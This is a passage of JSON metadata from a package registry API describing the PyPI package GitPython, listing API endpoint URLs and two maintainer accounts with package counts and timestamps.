ython-developers%2FGitPython/issues","maintainers":[],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/codemeta","maintainers":[{"uuid":"ByronBates","login":"ByronBates","name":null,"email":null,"url":null,"packages_count":9,"html_url":"https://pypi.org/user/ByronBates/","role":null,"created_at":"2022-12-29T21:15:12.636Z","updated_at":"2022-12-29T21:15:12.636Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/ByronBates/packages"},{"uuid":"mtrier","login":"mtrier","name":null,"email":null,"url":null,"packages_count":4,"html_url":"https://pypi.org/user/mtrier/","role":null,"created_at":"2022-12-29T21:15:12.686Z","updated_at":"2022-12-29T21:15:12.686Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/mtrier/packages"}]}